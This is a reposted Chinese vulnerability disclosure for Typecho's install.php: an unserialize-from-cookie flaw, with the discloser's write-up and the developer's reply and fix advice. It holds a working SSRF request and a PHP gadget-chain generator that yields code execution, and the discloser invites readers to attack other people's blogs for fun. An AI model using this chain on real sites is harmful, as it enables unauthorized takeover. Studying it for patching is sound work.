转载自漏洞爆料者和开发者原文:
https://xianzhi.aliyun.com/forum/read/2266.html
https://joyqi.com/typecho/about-typecho-20171027.html

本漏洞影响范围之大时间之久令人胆寒,建议所有typecho使用者对漏洞进行修复。

漏洞修复

不想更新的可以先删除掉根目录下的install.php文件,当然最好还是更新到最新版本。

下面是漏洞爆料者原文

引子

打码打码打码打码打码打码打码打码打码打码打码打码打码打码打码打码打码,我十一在家陪妹子实在是没事干,就抽了个晚上审了一下typecho,首先发现的一个洞是一个ssrf,由于我手贱打了一下xxxx一位老铁的博客,被他waf抓下来了(打码打码打码打码打码打码打码打码打码打码打码打码,可能临时写的针对性waf),然后今天就被放出来了。。。。这个不重要,先放payload出来,没啥好分析的:

POST /index.php/action/xmlrpc HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: xxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 178

<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://xxxxxx/</string></value></param>
</params></methodCall>

然后昨天的时候,tomato师父说,打码打码打码打码打码打码打码打码打码打码打码打码打码打码。我觉得这个也不是不能搞,并且我十一审代码的时候,发现了代码中有处极其奇怪的地方,但是由于不能在打码打码打码打码打码打码打码打码打码打码打码打码打码打码打码,发现这个问题可能可以利用,就深入看了眼,没想到追查出一个他们核心开发者在其中放置的后门。

install.php

install.php在安装后不会默认删除,我们查看其中的逻辑分支会看到这样一段代码:

<?php if (isset($_GET['finish'])) : ?>
                <?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
                ......
                <?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
                ......
                <?php else : ?>
                    <?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>

这段代码只要你设置了正确的referer,然后加上一个finish参数就可以进入到这个分支中,他会直接反序列化cookie中传入的一个值,然后进行一些db初始化操作,但是这个初始化操作实际上没有任何一丁点作用,所以这里有这段代码本身就非常奇怪,但是当时分析的时候我没想这么多,既然这里可以直接反序列化我们的输入,我们就看下能否制造一个rop链出来,达到一些有危害的操作。

rop

我们首先进入Typecho_Db的构造函数看一眼他会对$config做什么处理:

public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

我们发现第一个参数经过了拼接,所以会自动调用 tostring这个魔术方法,然后我们找一些含有tostring的类,这里我们找到class Typecho_Feed
他的__tostring方法有些复杂,但是不难从中看出他在358行,执行了这样一段代码:

<name>' . $item['author']->screenName . '</name>

其中$item是我们可以通过对象注入直接控制的。
那么从这行代码出发,我们进而就可以调用get这个魔术方法,继续寻找含有get的gadget,我们找到了class Typecho_Request
他的__get方法会调用自身的 get 方法:

public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }

        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

get方法在为$value赋值并检查其类型后,会调用自身_applyFilter方法,然后继续往深处跟:

private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }

            $this->_filter = array();
        }

        return $value;
    }

在_applyFilter方法中我们最终发现了一个可以代码执行的地方:

call_user_func($filter, $value);

此处的两个参数都是我们可以控制的,这里我们的rop已经初步构造完成。

解决一些小问题

在 install.php 的开头部分调用了程序调用了 ob_start(); ,而我们的对象注入操作必定会触发代码中定义的 exception:

public static function exceptionHandle(Exception $exception)
    {
        @ob_end_clean();

        if (defined('__TYPECHO_DEBUG__')) {
            echo '<h1>' . $exception->getMessage() . '</h1>';
            echo nl2br($exception->__toString());
        } else {
            if (404 == $exception->getCode() && !empty(self::$exceptionHandle)) {
                $handleClass = self::$exceptionHandle;
                new $handleClass($exception);
            } else {
                self::error($exception);
            }
        }

        exit;
    }

这样他会在处理异常时调用ob_end_clean,这样我们就算执行了代码,也无法拿到输出。
注意,最后调用call_user_func的时候,是一个循环,我们在一次运行中去调用多个函数,甚至实例的某个方法,因为他没有限制传入的$filter是不是一个数组。这样我们只要找到一个类方法,其中含有exit,那么就可以直接让程序退出并输出缓冲区中的内容。这样的类很多,这里我选择了Typecho_Response的redirect方法,这样经过4个gadget,我们的exp基本可以通杀了(其实还可以再加两个绕gadget过更多限制,这里留给大家研究)。

<?php
class Typecho_Response{}
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();
    public function __construct(){
        $this->_params['screenName']=-1;
        $this->_filter[0]='phpinfo';
        $x = new Typecho_Response;
        $this->_filter[1]=array($x,'redirect' );
    }
}
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';

        /** 定义RSS 2.0类型 */
        const RSS2 = 'RSS 2.0';

        /** 定义ATOM 1.0类型 */
        const ATOM1 = 'ATOM 1.0';

            /** 定义RSS时间格式 */
            const DATE_RFC822 = 'r';

            /** 定义ATOM时间格式 */
            const DATE_W3CDTF = 'c';

                /** 定义行结束符 */
                const EOL = "\n";
            private $_type;
            private $_items = array();
public $dateFormat;
public function __construct(){
    $this->_type=self::RSS2;
    $item['link']='1';
    $item['title']='2';
    $item['date']=1507720298;
    $item['author']= new Typecho_Request();
    $this->_items[0]=$item;
}
}

$x=new Typecho_Feed();

$a=array(
'host' => 'localhost',
  'user' => 'root',
    'charset' => 'utf8',
      'port' => '3306',
        'database' => 'typecho',
        'adapter'=>$x,
        'prefix'=>'typecho_'
    );
echo serialize($a);
echo "\n";
echo urlencode(base64_encode(serialize($a)));
?>

backdoor?

写完exp后,我回过头去查看最开始的漏洞入口,我发现这段代码其实放在这里没有任何合理性,尽管他的代码风格和下面的很像,但是他在这里起不到任何作用,然后ph师父说,typecho有github维护,然后我们就去查了他的commit记录:
1
commit 23b87aeb ,祁宁在 2014-04-08 22:43:32 点提交,这里我俩就开始疑惑,既然14年就有这段代码,那为啥ph师父的旧版本上没有,新版本上反而有了呢,我们看了下这个commit的详情:
2
我们发现 祁宁 其实就是 joyqi,而joyqi是typecho的核心开发者,他把这段代码在 2014-04-08 写好后直接提交在了master中,查看 v0.9-14.5.25 的releases,其中已经包含了这段代码,也就是说,这段代码形似后门的代码由核心开发者提交后,存在了三年半的时间,都没有任何人发现。。。。

那么究竟是谁添加的这段鸡儿用没有,但是谁都看不出来的代码呢。。。。。可能是14年的时候 joyqi 对账号被人黑掉了吧,也或许,这真的是开发者的一时手滑。细思恐极。

乐呵一下

圈内有几位知名的黑客大佬的博客是用typecho的,打了一下,还是可以搞的,大家也可以打一打乐呵一下。

大哥抽烟.jpg


然后是开发者的回应(有删改):

已经跟报告漏洞的相关方讨论过这个事情,大家的初心还都是技术层面的交流,之前在流程上由于沟通不畅造成了一些误解,现在误解已经消除,大家也不要恶意去揣测他人的意图,让我们把焦点放在技术本身。我们也一致表达了在安全层面加强合作的意向。

作为开发者其实不太想写这种针对性的回复文章。一般针对安全问题,如果有人报告我都是在第一时间提交修复。但这两天很多关心 Typecho 的朋友通过各种渠道向我询问最新爆出来的两个严重的安全漏洞,我看了网络上的分析文章,前面技术性的分析我在后面做回复。但是文中某些技术细节之外的无端猜测,是促使我写这篇文章的理由。

关于 install.php 漏洞

一句话解释就是 install.php 本身对安装状态验证存在漏洞,导致了可以绕过它向系统写入一些非法代码。

下面解释三个大家最关心的问题

为什么要用 Cookie 传递配置信息?

首先安装的过程会分很多步骤,而且每一步都要验证后再跳转到下一步。具体到填写配置信息的这一步,我们在你填写完以后会验证你的配置信息是否合法,比如数据库连接是否正确等等,这些信息是通过 HTTP POST 传递到 PHP 的。当这一步做完验证后,并写入相应信息后(也有可能不写入,比如 GAE 之类的容器环境,根本没有可写的环境),再 Location 跳转到下一步,也就是去写入初始数据。

熟悉一点编程的朋友,请回答我一个问题。如何在两个 GET 请求间传递配置数据?用 querystring?太丑陋了吧。用 session?对不起,很多主机都没有配好 session。用临时文件?不好意思,就像上面说的,很多运行环境根本没有可写的权限。用数据库?不行,数据表是在下一步的时候才建的。

所以我最后就用了 Cookie 来传递数据,这样你的安装过程会显得比较干净。

我个人认为,原文作者认为这可能是个后门之类的原因就在于,我对 Cookie 做了个 base64 的编码,这是黑客最爱的做事风格,把不可告人的代码隐藏在无意义的 base64 编码下面。

但是,我用 base64 只是为了避免可能存在的 Cookie 编码问题,这样一种很正常的思路,给它预设不好的前提后,往往会得出令人不快的结论。

为什么要在最后一步取出 Cookie?

原文作者指出他不明白为什么这里要有这段代码
https://github.com/typecho/typecho/blob/242fc1a4cb3d6076505f851fdcd9c1bbf3e431a5/install.php#L230

<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

如果你不联系上下文,当然不知道为什么要有这段代码。

首先解释为什么要在这一步连接数据库,因为这段代码看起来就是这个作用。初一看这一步好像跟数据库没什么关系,该写入的数据上一步已经写完了,这一步就是告诉用户安装成功

但是我们的目光再往下移
https://github.com/typecho/typecho/blob/242fc1a4cb3d6076505f851fdcd9c1bbf3e431a5/install.php#L258

<?php
    if (isset($_REQUEST['user']) && isset($_REQUEST['password'])) {
        $loginUrl = _u() . '/index.php/action/login?name=' . urlencode(_r('user')) . '&password='
        . urlencode(_r('password')) . '&referer=' . _u() . '/admin/index.php';
        $loginUrl = Typecho_Widget::widget('Widget_Security')->getTokenUrl($loginUrl);
    } else {
        $loginUrl = _u() . '/admin/index.php';
    }
?>

这是一段生成快速登录链接的代码,方便你在安装完成不需要输入密码直接进入后台,请关注 Typecho_Widget::widget('Widget_Security')->getTokenUrl($loginUrl) 这一段代码。

在 Typecho 0.9 里面,我们加入了防跨站模块,而它的核心就是在每次提交的时候加入一个 Token 供系统验证。而这个 Token 的生成是需要加盐 salt 的,而每个站点的 salt 都是在安装的时候写入到数据库中的随机字符串。

所以看到了么?生成一个合法的后台 URL 是需要数据库连接的。

然后再解释为什么要从 Cookie 里取数据,我们不是已经创建了 config.inc.php 文件了么?但是由于 config.inc.php 里定义的常量以及一些初始化动作,会与 install.php 头部的代码有所冲突。所以,我们无法在 install.php 去直接 require 它(这一点已经在新版里解决,我在这里只是解释当时那么做的理由)。因此,我们又要初始化数据库,就只能从 Cookie 里读取信息并解码了。

为什么不删除 install.php?

首先,删除 install.php 意味着需要给根目录赋予额外的写入权限,这本身就会造成安全问题。其次,很多容器环境,比如 GAE SAE BAE 之类的,代码是基于版本控制管理的,根本不可能让你去更改文件。那安装完成后提醒用户修改删除可以吗?首先,这么做没有技术问题,但我认为安装完以后再去删除,是一件很麻烦的事情,在保证没有漏洞的前提下,应该做到安装后即可使用,当然用户也可以自行去删除 install.php。

写在最后

首先,我欢迎任何以技术为目的质疑和交流,Typecho 这个项目也是依靠大家的力量一点点完善起来的。其次,我希望仅仅将这种质疑局限在技术本身,毕竟取一个吸引眼球的标题,最后再加一些揣测,又有多少人会真的去细思呢?大多数人都是会被带着节奏,而接受预设立场,这一点不利于问题的解决。

所以你们看,即使我认真写了这么多,仔细去看去分析的人估计也不会有多少。

Typecho 的社区个性一直是低调踏实,我们会认真对待每一项改进的提议。我想向那些因为此次软件漏洞可能造成损失的用户,表达歉意。

新的正式版,会在本周放出。

最后修改:2019 年 04 月 04 日 11 : 06 PM
如果觉得我的文章对你有用,请随意赞赏